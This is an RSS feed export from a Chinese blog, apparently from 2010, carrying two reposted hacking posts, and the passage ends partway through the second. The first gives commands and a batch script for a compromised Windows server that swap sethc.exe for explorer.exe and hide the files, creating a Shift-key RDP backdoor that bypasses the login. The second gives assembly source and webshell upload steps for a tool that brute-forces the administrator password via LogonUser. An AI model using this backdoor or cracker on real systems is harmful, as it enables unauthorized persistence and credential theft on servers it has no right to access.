<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾 &#187; 密码</title>
	<atom:link href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Fri, 16 Dec 2011 09:18:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>无需输入密码登陆3389</title>
		<link>http://www.5bay.cn/server-building/eeeeee389.html</link>
		<comments>http://www.5bay.cn/server-building/eeeeee389.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:32:45 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[感谢]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=518</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeee389.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>来源：脚本安全小组 在肉鸡上执行命令 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。 似乎2000也可以，XP不行。这两个系统没测试。 不知道有牛人知道是什么道理不. 小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe Shift后门TT整理版 来源：TT&#8217;s Blog 将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~ 然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe 或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~ 哇哈哈哈哈~~~ TITLE Shift后门 @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe [...]]]></description>
			<content:encoded><![CDATA[<p>来源：脚本安全小组</p>
<p>在肉鸡上执行命令</p>
<p>copy c:\windows\explorer.exe c:\windows\system32\sethc.exe</p>
<p>copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe</p>
<p>以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。</p>
<p>似乎2000也可以，XP不行。这两个系统没测试。</p>
<p>不知道有牛人知道是什么道理不.</p>
<p>小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe</p>
<p>Shift后门TT整理版<br />
来源：TT&#8217;s Blog</p>
<p>将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~</p>
<p>然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe</p>
<p>或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~</p>
<p>哇哈哈哈哈~~~<br />
<a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">TITLE</a> Shift后门<br />
@echo off<br />
cls<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo.<br />
echo 使用方法:本文件执行完毕后,<br />
echo 在终端界面按Shift 5次即可登陆系统!<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe<br />
echo 完成百分之 50<br />
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe<br />
echo 完成百分之 80<br />
attrib c:\windows\system32\sethc.exe +h<br />
echo 完成百分之 90<br />
attrib c:\windows\system32\dllcache\sethc.exe +h<br />
echo 完成百分之 100<br />
cls<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo 后门安装完毕！<br />
echo.<br />
echo 感谢您使用Shift后门<br />
echo.<br />
echo.<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo. &amp; pause<br />
exit</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%84%9F%E8%B0%A2" title="感谢" rel="tag">感谢</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeeee389.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Webshell下破解计算机管理员密码</title>
		<link>http://www.5bay.cn/server-building/webshelleechueeee.html</link>
		<comments>http://www.5bay.cn/server-building/webshelleechueeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:30:06 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[链接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=515</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/webshelleechueeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>软件作者：taiwansee 信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 这个idea源自以前学runas命令时候的启发。 使用方法：     1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\     2、把程序上传到c:\windows\temp\中，然后运行它。     3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，        如果为空就说明还没破解完，另选时间再回来看。 特点：     不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。     默认破解administrator用户的密码。要破其它，请自行修改代码。 result_.txt示例： －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ The administrator&#8217;s password is: tester The program had tried 32653 times! Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s. －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 源代码如下： AdminPassCrack.asm文件 复制内容到剪贴板代码: ;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; ;                AdminPassCracker ; ;                                By taiwansee        2008.10.23 ; ; 使用 nmake 或下列命令进行编译和链接: ; ml /c /coff AdminPassCracker.asm ; [...]]]></description>
			<content:encoded><![CDATA[<p>软件作者：taiwansee<br />
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）</p>
<p>这个idea源自以前学runas命令时候的启发。</p>
<p>使用方法：<br />
    1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\<br />
    2、把程序上传到c:\windows\temp\中，然后运行它。<br />
    3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，<br />
       如果为空就说明还没破解完，另选时间再回来看。</p>
<p>特点：<br />
    不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。<br />
    默认破解administrator用户的密码。要破其它，请自行修改代码。<br />
<span id="more-515"></span><br />
result_.txt示例：<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
The administrator&#8217;s password is: tester<br />
The program had tried 32653 times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
源代码如下：<br />
AdminPassCrack.asm文件<br />
复制内容到剪贴板代码:<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
;                AdminPassCracker<br />
;<br />
;                                By taiwansee        2008.10.23<br />
;<br />
; 使用 nmake 或下列命令进行编译和链接:<br />
; ml /c /coff AdminPassCracker.asm<br />
; Link /subsystem:windows AdminPassCracker.obj<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .386<br />
                .model flat, stdcall<br />
                option casemap :none<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; <a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">Include</a> 文件定义<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
include                windows.inc<br />
include                user32.inc<br />
includelib        user32.lib<br />
include                kernel32.inc<br />
includelib        kernel32.lib<br />
include                Advapi32.inc<br />
includelib        Advapi32.lib<br />
include                _TotalTime.asm<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .const<br />
DEBUG                                equ        0</p>
<p>LOGON32_LOGON_NETWORK                equ     3<br />
LOGON32_PROVIDER_DEFAULT        equ        0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
align 4<br />
                .data?<br />
hModuleHandle                DWORD        ?<br />
szFileName                BYTE        MAX_PATH dup(?)</p>
<p>                .data</p>
<p>szResultFile        BYTE        &#8217;result_.txt&#8217;,0<br />
szPswDic        BYTE        &#8217;psw.txt&#8217;,0<br />
szDomain        BYTE        &#8217;.',0<br />
szUserName        BYTE        &#8217;administrator&#8217;,0</p>
<p>szResultFileFormat        BYTE        &#8217;The administrator&#8217;,27h,&#8217;s password is: %s&#8217;,0dh,0ah<br />
                        BYTE        &#8217;The program had tried %d times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8217;,0dh,0ah,0</p>
<p>szNoDicFileErr                BYTE        &#8217;Sorry,dic file not exists.&#8217;,0<br />
szCreateFileMappingErr        BYTE        &#8217;CreateFileMapping Error!&#8217;,0<br />
szMapViewOfFileErr        BYTE        &#8217;MapViewOfFile Error!&#8217;,0<br />
szNotFound                BYTE        &#8217;Password not found! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8216;,0dh,0ah,0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 代码段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .<a href="http://www.5bay.cn/tag/code" class="st_tag internal_tag" rel="tag" title="标签 code 下的日志">code</a><br />
align 4</p>
<p>_WinMain        proc<br />
        local        @hPswDic:DWORD,\<br />
                @szPswTmp[MAX_PATH]:BYTE,\<br />
                @dwPswDicFileSize:DWORD,\<br />
                @hResultFile:DWORD,\<br />
                @dwWritten:DWORD,\<br />
                @hPswDicFileMap:DWORD,\<br />
                @hToken:DWORD,\<br />
                @dwTriedTimes:DWORD,\<br />
                @szBuf[MAX_PATH]:BYTE,\<br />
                @dwContentLength:DWORD,\<br />
                @lpPswDic:DWORD,\<br />
                @lpNext:DWORD,\<br />
                @lpStart:DWORD,\<br />
                @dwStart:DWORD<br />
        <br />
;Create file to record results.<br />
        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\<br />
                           FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hResultFile,eax<br />
;Open Dictionary file.<br />
        invoke        CreateFile,offset szPswDic,GENERIC_READ,\<br />
                           FILE_SHARE_READ,NULL,OPEN_EXISTING,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hPswDic,eax</p>
<p>        invoke        GetFileSize,@hPswDic,NULL<br />
        mov        @dwPswDicFileSize,eax<br />
;**********CreateFileMapping**********<br />
        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\<br />
                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit        <br />
        .endif<br />
        mov        @hPswDicFileMap,eax<br />
;**********MapViewOfFile**********<br />
        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\<br />
                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @lpPswDic,eax<br />
        mov        @lpNext,eax<br />
        mov        @lpStart,eax<br />
        <br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        mov        @dwStart,eax</p>
<p>        xor        ecx,ecx        ;统计已经分析的字符个数<br />
        xor        eax,eax<br />
        mov        @dwTriedTimes,eax        ;统计尝试的次数</p>
<p>        .while        TRUE<br />
                cld<br />
                mov        esi,@lpStart<br />
                lea        edi,@szPswTmp<br />
        @@:<br />
                lodsb<br />
                .if        al!=0dh<br />
                        stosb<br />
                        inc        ecx<br />
                        .if        ecx==@dwPswDicFileSize<br />
                                jmp        @F<br />
                        .elseif        ecx&gt;@dwPswDicFileSize<br />
                                jmp        _NotFound<br />
                        .endif<br />
                        jmp        @B<br />
                .endif<br />
        @@:<br />
                add        ecx,2<br />
                xor        eax,eax<br />
                stosw                        ;用0结尾<br />
        <br />
                lea        eax,[esi+1]<br />
                mov        @lpNext,eax        ;修正到下一个密码</p>
<p>                push        ecx        ;保存计数值<br />
                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\<br />
                                  LOGON32_LOGON_NETWORK,\<br />
                                  LOGON32_PROVIDER_DEFAULT,\<br />
                                  addr @hToken<br />
                .if        eax==NULL<br />
                        pop        ecx        ;恢复计数值</p>
<p>                        push        @lpNext<br />
                        pop        @lpStart<br />
                        <br />
                        inc        @dwTriedTimes<br />
                        .continue<br />
                .else<br />
                        pop        ecx        ;堆栈平衡<br />
                        .break<br />
                .endif<br />
        .endw</p>
<p>        invoke        GetTickCount                ;计算使用的毫秒数,结束<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        <br />
        invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        </p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret</p>
<p>_NotFound:<br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        lstrcpy,addr @szBuf,offset szNotFound<br />
        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrcat,addr @szBuf,addr @szPswTmp</p>
<p>        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL</p>
<p>_Error_Exit:<br />
        xor        eax,eax<br />
        ret<br />
_WinMain        endp<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
start:<br />
        invoke        GetModuleHandle,NULL<br />
        mov        hModuleHandle,eax<br />
        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName<br />
        invoke        lstrlen,offset szFileName<br />
        cld<br />
        mov        esi,offset szFileName<br />
        add        esi,eax<br />
        std<br />
@@:<br />
        lodsb<br />
        cmp        al,5ch<br />
        jne        @B<br />
        mov        byte ptr [esi+2],0<br />
        cld<br />
        invoke        SetCurrentDirectory,offset szFileName<br />
        call        _WinMain<br />
        invoke        ExitProcess,NULL<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
        end        start<br />
_TotalTime.asm文件<br />
复制内容到剪贴板代码:<br />
                .data<br />
szResultFormat        BYTE        &#8217;Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.&#8217;,0dh,0ah,0</p>
<p>                .code<br />
;********************************************************<br />
;        _TotalTime<br />
;_lpBuf为调用者提供的接收结果缓冲区<br />
;_dwTotalTime为总耗时，一般来说，前面有<br />
